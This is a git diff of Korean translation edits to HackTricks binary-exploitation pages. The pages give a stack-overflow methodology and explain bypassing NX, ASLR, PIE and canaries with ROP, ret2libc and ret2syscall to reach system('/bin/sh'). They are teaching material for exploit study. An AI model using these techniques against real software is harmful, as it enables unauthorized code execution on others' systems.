mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
parent
21c9895e14
commit
3b34ec2664
8 changed files with 447 additions and 125 deletions
|
@ -706,7 +706,8 @@
|
|||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
|
|
|
@ -7,10 +7,10 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com) 받기
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하고 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 만나보세요
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -30,19 +30,19 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 스택 오버플로우 방법론
|
||||
|
||||
다양한 기술이 있기 때문에 각 기술이 언제 유용할지 알 수 있는 방법론을 가지는 것이 좋습니다. 동일한 보호 기능이 다른 기술에 영향을 미칠 수 있음을 유의하십시오. 각 보호 기능 섹션에서 보호 기능을 우회하는 방법을 찾을 수 있지만 이 방법론에서는 제공되지 않습니다.
|
||||
다양한 기술이 있기 때문에 각 기술이 언제 유용할지 알 수 있는 체계를 갖는 것이 좋습니다. 동일한 보호 기능이 다른 기술에 영향을 미칠 수 있음에 유의하십시오. 각 보호 기능 섹션에서 보호 기능을 우회하는 방법을 찾을 수 있지만 이 방법론에서는 제공되지 않습니다.
|
||||
|
||||
## 흐름 제어
|
||||
|
||||
프로그램의 흐름을 제어하는 여러 방법이 있습니다:
|
||||
프로그램의 흐름을 제어하는 여러 가지 방법이 있습니다:
|
||||
|
||||
* **스택 오버플로우**를 통해 스택 또는 EBP -> ESP -> EIP의 반환 포인터를 덮어쓰기
|
||||
* **정수 오버플로우**를 악용하여 오버플로우를 발생시킬 수 있음
|
||||
* 또는 **임의 쓰기 + 실행할 내용이 있는 위치로 쓰기**
|
||||
* **포맷 문자**를 악용하여 `printf`를 사용하여 임의의 내용을 임의의 주소에 쓰기
|
||||
* **배열 인덱싱**: 제어할 수 있는 배열을 얻기 위해 잘못 설계된 인덱싱을 악용
|
||||
* **포맷 문자열**을 악용하여 `printf`를 사용하여 임의의 내용을 임의의 주소에 쓰기
|
||||
* **배열 인덱싱**: 제어할 수 있는 배열을 제어하고 임의의 쓰기를 얻기 위해 설계가 잘못된 인덱싱을 악용
|
||||
* **정수 오버플로우**를 악용하여 오버플로우를 발생시킬 수 있음
|
||||
* **ROP를 통한 bof to WWW**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있음
|
||||
* **bof to WWW via ROP**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있음.
|
||||
|
||||
**Write What Where to Execution** 기술은 다음에서 찾을 수 있습니다:
|
||||
|
||||
|
@ -52,69 +52,69 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 영원한 루프
|
||||
|
||||
일반적으로 **취약점의 단일 악용만으로는** 성공적인 공격을 실행하는 데 충분하지 않을 수 있음을 고려해야 합니다. 특히 일부 보호 기능을 우회해야 할 수 있습니다. 따라서 **동일한 실행에서 단일 취약점을 여러 번 악용할 수 있는 옵션**을 고려하는 것이 흥미로울 수 있습니다:
|
||||
일반적으로 **취약점의 단일 악용만으로는** 성공적인 공격을 실행하는 데 충분하지 않을 수 있음을 고려해야 합니다. 특히 일부 보호 기능을 우회해야 하는 경우가 있습니다. 따라서 **동일한 실행에서 단일 취약점을 여러 번 악용할 수 있는 옵션**을 고려하는 것이 흥미로울 수 있습니다:
|
||||
|
||||
* **ROP** 체인에 **`main` 함수의 주소** 또는 **취약점이 발생하는 주소**를 쓰기
|
||||
* 적절한 ROP 체인을 제어하면 해당 체인에서 모든 작업을 수행할 수 있음
|
||||
* **GOT의 `exit` 주소**에 (또는 종료 전에 이진 파일에서 사용되는 다른 함수) **취약점으로 돌아가는 주소**를 쓰기
|
||||
* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)에서 설명한대로 여기에 2개의 함수를 저장하여 취약점을 다시 호출하거나 **`__libc_csu_fini`**를 호출하여 `.fini_array`에서 함수를 다시 호출
|
||||
* **GOT의 `exit` 주소**에 **취약점으로 돌아가는 주소**를 쓰기 (또는 종료 전에 이진 파일에서 사용되는 다른 함수의 주소)
|
||||
* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)에서 설명한대로 여기에 2개의 함수를 저장하여 취약점을 다시 호출하거나 **`__libc_csu_fini`**를 호출하여 `.fini_array`에서 함수를 다시 호출할 수 있음.
|
||||
|
||||
## 공격 목표
|
||||
|
||||
### 목표: 기존 함수 호출
|
||||
|
||||
* **ret2win**: 호출해야 하는 코드에 플래그를 얻기 위해 호출해야 하는 함수가 있음
|
||||
* **PIE** 및 **canary** 없는 일반 bof의 경우 스택에 저장된 반환 주소에 주소를 쓰기만 하면 됨
|
||||
* **PIE**가 있는 bof의 경우 우회해야 함
|
||||
* **canary**가 있는 bof의 경우 우회해야 함
|
||||
* [**ret2win**](./#ret2win): 호출해야 하는 코드에 플래그를 얻기 위해 호출해야 하는 함수가 있음
|
||||
* **PIE** 및 **canary** 없는 일반적인 bof의 경우 스택에 저장된 반환 주소에 주소를 쓰기만 하면 됨
|
||||
* [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있는 bof의 경우 우회해야 함
|
||||
* [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)가 있는 bof의 경우 우회해야 함
|
||||
* **ret2win** 함수를 올바르게 호출하려면 여러 매개변수를 설정해야 하는 경우:
|
||||
* 충분한 가젯이 있는 경우 **ROP** 체인을 사용하여 모든 매개변수를 준비
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)을 사용하여 많은 레지스터를 제어할 수 있는 경우 이 시스템 호출을 사용할 수 있음
|
||||
* 충분한 가젯이 있는 경우 [**ROP**](./#rop-and-ret2...-techniques) 체인을 사용하여 모든 매개변수를 준비할 수 있음
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)을 사용하여 많은 레지스터를 제어할 수 있음 (이 시스템 호출을 호출할 수 있는 경우)
|
||||
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)의 가젯을 사용하여 여러 레지스터를 제어할 수 있음
|
||||
* [**Write What Where**](../arbitrary-write-2-exec/)를 통해 다른 취약점(bof가 아닌)을 악용하여 **`win`** 함수를 호출할 수 있음
|
||||
* **포인터 리다이렉팅**: 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 있는 경우 해당 주소를 덮어쓸 수 있음
|
||||
* **ASLR** 또는 **PIE**가 주소에 영향을 줄 수 있음
|
||||
* **초기화되지 않은 변수**: 알 수 없음
|
||||
* [**포인터 리다이렉팅**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 있는 경우 해당 주소를 덮어쓸 수 있음
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 줄 수 있음
|
||||
* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없음
|
||||
|
||||
### 목표: RCE
|
||||
|
||||
#### nx가 비활성화되어 있거나 셸코드와 ROP를 혼합하여:
|
||||
#### nx가 비활성화되었거나 셸코드와 ROP를 혼합하는 경우:
|
||||
|
||||
* **(스택) 셸코드**: 스택에 셸코드를 저장하고 반환 포인터를 덮거나 덮은 후에 **점프하여 실행**하는 데 유용
|
||||
* 일반 bof에서 **canary**가 있는 경우 우회(유출)해야 함
|
||||
* **ASLR** 및 **nx**가 없는 경우 스택 주소로 점프할 수 있음
|
||||
* **(스택) 셸코드**: 스택에 셸코드를 저장하고 반환 포인터를 덮어쓰기한 후 **점프하여 실행**하는 데 유용함:
|
||||
* 일반적인 bof에서 **canary**가 있는 경우 우회(유출)해야 함
|
||||
* **ASLR** 및 **nx**가 없는 경우 스택 주소로 점프할 수 있으므로 주소를 변경하지 않음
|
||||
* **ASLR**가 있는 경우 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)와 같은 기술을 사용하여 점프해야 함
|
||||
* **nx**가 있는 경우 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하여 페이지를 `rwx`로 만든 다음 거기에 셸코드를 저장(예: read 호출)한 다음 거기로 점프해야 함
|
||||
* **nx**가 있는 경우 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하여 페이지를 `rwx`로 만든 다음 거기에 셸코드를 저장(예: read 호출)한 후 거기로 점프해야 함
|
||||
* 이는 셸코드를 ROP 체인과 혼합하는 것입니다.
|
||||
#### 시스콜을 통해
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **매개변수를 사용하여 특정 시스콜을 호출하는 가젯을 찾을 수 있어야 합니다**.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있는 경우 이를 무력화해야 합니다. **바이너리나 라이브러리에서 ROP 가젯을 사용하기 위해**.
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **매개변수를 사용하여 특정 시스콜을 호출하는 가젯을 찾을 수 있어야 합니다**.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있는 경우 **바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다**.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)은 **ret2execve**를 준비하는 데 유용할 수 있습니다.
|
||||
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 여러 레지스터를 제어하기 위한 가젯
|
||||
|
||||
#### libc를 통해
|
||||
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 주로 **`libc`**에서 **`system`**과 같은 함수를 호출하는 데 유용합니다. 일부 준비된 인자(예: `'/bin/sh'`)와 함께. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드**해야 합니다 (일반적으로 libc).
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 주로 **`libc`**에서 **`system`**과 같은 함수를 호출하는 데 유용하며 일부 준비된 인수(예: `'/bin/sh'`)와 함께 사용됩니다. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드**해야 합니다 (일반적으로 libc).
|
||||
* **정적으로 컴파일되고** [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, `system` 및 `/bin/sh`의 **주소**가 변경되지 않으므로 정적으로 사용할 수 있습니다.
|
||||
* **ASLR**가 **비활성화되어 있고 로드된 libc 버전을 알고 있는 경우**, `system` 및 `/bin/sh`의 **주소**가 변경되지 않으므로 정적으로 사용할 수 있습니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 바이너리가 `system`을 사용하는 경우 **GOT에서 system의 주소로 `ret`**할 수 있습니다. 매개변수로 `'/bin/sh'`의 주소를 사용해야 합니다 (이를 찾아야 합니다).
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 바이너리가 `system`을 사용하는 경우 **`'/bin/sh'`의 주소와 함께 GOT의 system 주소로 `ret`**할 수 있습니다 (이를 파악해야 합니다).
|
||||
* [ASLR](../common-binary-protections-and-bypasses/aslr/)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있지만 바이너리가 `system`을 사용하지 않는 경우:
|
||||
* [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)를 사용하여 `system`의 주소를 해결하고 호출합니다 
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)를 우회하고 메모리에서 `system` 및 `'/bin/sh'`의 주소를 계산합니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 및 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있지만 libc를 모르는 경우: 다음을 수행해야 합니다:
|
||||
* **ASLR**를 **우회**하고 메모리에서 `system` 및 `'/bin/sh'`의 주소를 계산합니다.
|
||||
* **ASLR** 및 **PIE**가 모두 활성화되어 있지만 libc를 모르는 경우: 다음을 수행해야 합니다:
|
||||
* [PIE](../common-binary-protections-and-bypasses/pie/) 우회
|
||||
* 사용된 **`libc` 버전** 찾기 (몇 가지 함수 주소 누출)
|
||||
* 계속하기 위해 **ASLR와 관련된 이전 시나리오** 확인
|
||||
* **ASLR와 관련된 이전 시나리오를 확인**하여 계속합니다.
|
||||
|
||||
#### EBP/RBP를 통해
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 저장된 EBP를 통해 ESP를 제어하여 RET를 제어합니다.
|
||||
* **오프 바이 원** 스택 오버플로우에 유용합니다
|
||||
* EIP를 제어하는 대체 방법으로 유용하며, EIP를 남용하여 메모리에서 페이로드를 구성한 다음 EBP를 통해 그로 이동하는 방법으로 사용할 수 있습니다
|
||||
* EIP를 제어하는 대체 방법으로 유용하며, EIP를 남용하여 메모리에서 페이로드를 구성한 다음 EBP를 통해 그것으로 이동하는 데 사용됩니다
|
||||
|
||||
#### 기타
|
||||
|
||||
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 포인터가 포함된 스택이 있는 경우 해당 주소를 덮어쓸 수 있습니다.
|
||||
* [**포인터 리다이렉팅**](../stack-overflow/pointer-redirecting.md): 호출될 함수 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열로 이어지는 함수를 가리키는 포인터가 스택에 포함되어 있는 경우 해당 주소를 덮어쓸 수 있습니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 줄 수 있습니다.
|
||||
* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없습니다
|
||||
* [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 알 수 없습니다.
|
||||
|
|
|
@ -2,39 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 이동하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**No-Execute (NX)** 비트는 **버퍼 오버플로** 공격의 효과를 **완화**하기 위해 설계된 하드웨어 기반 보안 기능인 **Execute Disable (XD)**로도 알려져 있습니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악성 코드를 실행하는 공격자를 방지하는 것입니다.
|
||||
**No-Execute (NX)** 비트는 인텔 용어로 **Execute Disable (XD)**로도 알려진 하드웨어 기반 보안 기능으로, **버퍼 오버플로** 공격의 효과를 **완화**하는 데 사용됩니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악의적인 코드를 실행하는 공격자를 방지하는 것입니다.
|
||||
|
||||
## 우회
|
||||
## 우회 방법
|
||||
|
||||
- [**ROP**](../rop-return-oriented-programing/)과 같은 기술을 사용하여 이미 바이너리에 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
- **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 이동하세요.
|
||||
|
||||
</details>
|
||||
* [**ROP**](../rop-return-oriented-programing/)과 같은 기술을 사용하여 이미 이진 파일에 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
- 💬 **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Return-Oriented Programming (ROP)**은 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, **바이너리나 로드된 라이브러리에 이미 존재하는 코드 조각인 "가젯"**을 활용합니다. 각 가젯은 일반적으로 `ret` 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.
|
||||
**Return-Oriented Programming (ROP)**은 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, 이진 파일이나 로드된 라이브러리에 이미 존재하는 코드 조각인 **"가젯"**을 활용합니다. 각 가젯은 일반적으로 `ret` 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.
|
||||
|
||||
### ROP 작동 방식
|
||||
|
||||
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.
|
||||
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다.
|
||||
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출을 위한 인수 설정, 함수 호출 (예: `system("/bin/sh")`) 및 필요한 정리 또는 추가 작업을 포함할 수 있습니다.
|
||||
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
|
||||
|
||||
### 도구
|
||||
|
@ -30,19 +30,19 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## x86 예제에서 ROP 체인
|
||||
|
||||
### **x86 (32비트) 호출 규칙**
|
||||
### **x86 (32-bit) 호출 규칙**
|
||||
|
||||
- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 역순으로 스택에 푸시됩니다(오른쪽에서 왼쪽으로). **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
|
||||
- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 스택에 역순으로 푸시됩니다 (오른쪽에서 왼쪽으로). **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
|
||||
- **stdcall**: cdecl과 유사하지만 호출된 함수가 스택을 정리합니다.
|
||||
|
||||
### **가젯 찾기**
|
||||
|
||||
먼저, 바이너리나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심을 가지는 가젯은 다음과 같습니다:
|
||||
먼저, 이진 파일이나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심 있는 가젯은 다음과 같습니다:
|
||||
|
||||
- `pop eax; ret`: 이 가젯은 스택의 최상위 값을 `EAX` 레지스터로 팝하고 반환하여 `EAX`를 제어할 수 있게 합니다.
|
||||
- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터를 위한 것으로, `EBX`를 제어할 수 있게 합니다.
|
||||
- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동한 다음 반환합니다. 이를 **write-what-where 가젯**이라고 합니다.
|
||||
- 추가로 `system()` 함수의 주소를 사용할 수 있습니다.
|
||||
- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터를 위해, `EBX`를 제어할 수 있게 합니다.
|
||||
- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동한 후 반환합니다. 이를 종종 **write-what-where 가젯**이라고 합니다.
|
||||
- 추가로, `system()` 함수의 주소를 사용할 수 있습니다.
|
||||
|
||||
### **ROP 체인**
|
||||
|
||||
|
@ -87,22 +87,22 @@ p.interactive()
|
|||
```
|
||||
## x64(64비트) 호출 규약
|
||||
|
||||
- Unix류 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
|
||||
- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인수에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
|
||||
